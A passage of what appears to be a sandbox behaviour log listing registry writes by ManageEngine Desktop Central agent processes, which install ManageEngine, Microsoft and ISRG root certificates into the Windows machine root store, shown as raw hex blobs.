203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob = 5900000001000000100000005200530041002f004d00440035000000140000000100000014000000344f302d25693191eaf7735cabf5868d378240ec030000000100000014000000245c97df7514e7cf2df8be72ae957b9e04741e8509000000010000000c000000300a06082b060105050703080b00000001000000320000004d006900630072006f0073006f00660074002000540069006d0065007300740061006d007000200052006f006f00740000000f00000001000000100000009df0d13100123aeca770130f4ad8d2091900000001000000100000007fdff50729446710244a447ca2a197ea2000000001000000b1020000308202ad30820216020101300d06092a864886f70d010104050030819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e301e170d3937303531333136313235395a170d3939313233303233353935395a30819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e30819f300d06092a864886f70d010101050003818d0030818902818100b75a38f51f37cca943c4dc2418bef28552b41d5b5f18b90b8f4b6da8ffcd40506cd3a0d35c47c2b9f786e4cd7d350569371faf3ddd1ffd8f1534c2c479cc59748a6f8c0ec3e811eb8438479853e1f10c0de4010cf01b1e20da2a7a3dc215528e8aff7b32bf581e25988326cb8ac9c4071424bc499ed77ab3871a2533bc6d08470203010001300d06092a864886f70d010104050003818100505bc56b6f8d525b0dc9bdac347398ca0a87caae4c4aba14a4eb52709521e0b5a1604ef743025101af1e3a70cebf18b686289967eb08e897405c1682fdb825fb366f6f763ec54c8ee2a751facac163ba5e8324470b9372f6449acea7953a8f50109e1db15916abcf3edf838bc7fac36bdc649f402b1f452404ae492ff6df0c91 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 0f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b52000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 1900000001000000100000009483285b20fccdb265fe95c3f298f3930f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c61400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c32000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob = 5900000001000000100000005200530041002f004d004400350000000400000001000000100000002a954eca79b2874573d92d90baf99fb61400000001000000140000004a5c7522aa46bfa4089d39974ebdb4a360f7a01d030000000100000014000000a43489159a520f0d93d032ccaf37e7fe20a8b4190b00000001000000320000004d006900630072006f0073006f0066007400200052006f006f007400200041007500740068006f007200690074007900000069000000010000000e000000300c060a2b0601040182373c03020f00000001000000100000008b3c3087b7056f5ec5ddba91a1b901f01900000001000000100000003fc8cb0bc05241e58d65e9448b2d07c25c00000001000000040000000008000020000000010000001604000030820412308202faa003020102020f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937303131303037303030305a170d3230313233313037303030305a3070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100a902bdc170e63bf24e1b289f97785e30eaa2a98d255ff8fe954ca3b7fe9da2203e7c51a29ba28f60326bd1426479eeac76c954daf2eb9c861c8f9f8466b3c56b7a6223d61d3cde0f0192e896c4bf2d669a9a682699d03a2cbf0cb55826c146e70a3e38962ca92839a8ec498342e3840fbb9a6c5561ac827ca1602d774ce999b4643b9a501c310824149fa9e7912b18e63d986314605805659f1d375287f7a7ef9402c61bd3bf5545b38980bf3aec54944eaefda77a6d744eaf18cc96092821005790606937bb4b12073c56ff5bfba4660a08a6d2815657efb63b5e16817704daf6beae8095feb0cd7fd6a71a725c3ccabcf008a32230b30685c9b320771385df0203010001a381a83081a53081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010095e80bc08df3971835edb80124d87711f35c60329f9e0bcb3e0591888fc93ae621f2f057932cb5a047c862effcd7cc3b3b5aa9365469fe246d3fc9ccaade057cdd318d3d9f10706abbfe124f1869c0fcd043e3115a204fea627bafaa19c82b37252dbe65a1128a250f63a3f7541cf921c9d615f352ac6e433207fd8217f8e5676c0d51f6bdf152c7bde7c430fc203109881d95291a4dd51d02a5f180e003b45bf4b1ddc857ee6549c75254b6b4032812ff90d6f0088f7eb897c5ab372ce47ae4a877e376a000d06a3fc1d2368ae04112a8356a1b6adb35e1d41c04e4a84504c85a33386e4d1c0d62b70aa28cd3d5543f46cd1c55a670db123a8793759fa7d2a0 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5900000001000000160000005200530041002f00530048004100320035003600000014000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000040000000100000010000000db40a511c228438a4ea22d289a27bc671400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b51900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc5c0000000100000004000000000800002000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d25041630